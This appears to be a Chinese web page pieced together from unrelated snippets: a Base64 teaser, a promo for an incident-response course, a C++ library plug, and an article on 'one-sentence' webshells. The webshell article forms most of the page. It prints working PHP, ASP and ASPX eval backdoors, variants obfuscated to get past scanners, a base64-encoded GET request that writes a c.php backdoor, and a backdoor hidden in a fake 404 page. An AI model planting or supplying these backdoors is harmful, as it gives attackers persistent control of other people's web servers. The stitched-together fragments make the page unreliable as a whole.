base64解码

【我整理了5张图，彻底搞懂了Base64编码原理】

Base64 编码知识，一文打尽！我整理了前端图片储存新技术完整资料，彻底搞懂了Base64 编码原理，现在网站为了提升用户的浏览体验越来越多地使用了图片，而这些图片通常以 Base64 的形式存储和加载。因此各位开发工程师肯定会对 Base64 毫不陌生了，那么你知道吗 Base64 究竟是为什么，为什么要这样使用 Base64，以及 Base64 的优缺点吗？本期内容详细为您分享下！

#前端# #程序员# #艾编程前端笔记#

base64编码主要用于不适合二进制的存储，传输和打印等场景。把不可打印的二进制，或者会影响到文本传输协议（例http）格式解析的二进制，编码转换为可打印的字符，就可以进行后续的直观的字符比较、打印或者传输和存储。

base64代码

webshell--白帽子口中常说的木马

木马文件在不断地更新换代，变得更加不好捕获，从一开始的菜刀马，到base64编码的蚁剑马，再到AES加密的冰蝎马，最后是现在比较流行的哥斯拉马。每个木马的演变都是为了绕过流量监控，waf、防火墙的阻断。

而我的应急响应课程会详细的讲解当被这些木马文件入侵时如何判断，如何防护，欢迎大家捧场观看。

C++有没有常用的开发工具库？有！只是很多人都喜欢自己造轮子，不使用现成的开发库罢了。看看这个C++日常使用的工具库，完全采用头文件实现，而且还提供了详细的单元测试代码，为日常C++开发所必备，名字叫做sweet.hpp。

这个工具库都提供哪些功能呢？简单举几个例子供大家参考。

1. 数据库抽象层

2.日志和异步日志

3.单元测试

4.文件系统

5.性能测试

6.JSON库

7.Base64编解码

......等等，还有很多！

项目地址：网页链接

#如何选择开源软件才能控制企业成本# #C++库#

一句话木马原理与攻防

一句话木马原理很简单，造型也很简单，所以造成了它理解起来容易，抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门，去隐蔽特征，而白帽则不断的更新过滤方法，建起更高的城墙。

一、原理简述

对于不同的语言有不同的构造方法。

基本构造：最开头构造的是脚本开始的标记

核心部分：获取并执行得到的内容，通常类似eval、execute等

被执行内容：一般是http等协议接受的值，通常类似request、$_POST等

如果我们通过客户端向服务器发送被执行内容，那么就会让服务器执行我们发送的脚本，挂马就实现了。

/*asp一句话木马*/<%execute(request("value"))%>

/*php一句话木马*/<?php @eval($_POST[value]);?>

/*aspx一句话木马*/

<%@ Page Language="Jscript"%>

<%eval(Request.Item["value"])%>

黑帽子的目的，就是想尽办法给目标网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件（.asp 、.php、.aspx ），或者是隐藏在某些网页下的文件、代码等。

其中的value 就是客户端要发送的内容，然后通过客户端与服务器建立连接，发送控制脚本。也会涉及到一些任意文件上传漏洞等。

二、简单变形

很明显的 eval 可以成为一个静态特征码，webshell扫描工具可以以此为关键词，扫描到这种木马加以屏蔽。于是可以简单变形不出现eval：

<?php $_GET['a']($_POST['b'])?>

同理，传给a值为 @base64_decode(base64编码过后的eval)。

<?php $_GET['a']($_GET['b']);?>

利用方法：

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通过对GET请求的URL构造而形成利用，左括号和右括号是URL编码，解码回来如下：

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET请求后相当于执行一个assert函数，并把b作为assert的参数。b里面使用略php的base64解码函数，把部分信息通过base64编码而绕过扫描，解码后如下：

?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};

执行后当前目录生成c.php文件并写入一句话木马，这已经算是一个非常隐蔽的木马了。而在PHP 后门的变形之路上，远远不止这些，甚至可以自己定义一个加密解密的函数，或者是利用xor, 字符串翻转，压缩，截断重组等等方法来绕过。

三、变形改良

1.404页面隐藏木马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html>

    <head>

<title>404 Not Found</title>

    </head>

    <body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

    </body>

</html>

<?php

    @preg_replace("/[pageerror]/e",$_POST['error'],"saft");

    header('HTTP/1.1 404 Not Found');

?>

一般404页面放好后，很少有人会定期对404页面进行检查和修改。

如果在404页面挂上了一句话后门，一方面不会被发现，另一方面，黑帽子很容易能定位到并连接上服务器。

详情：网页链接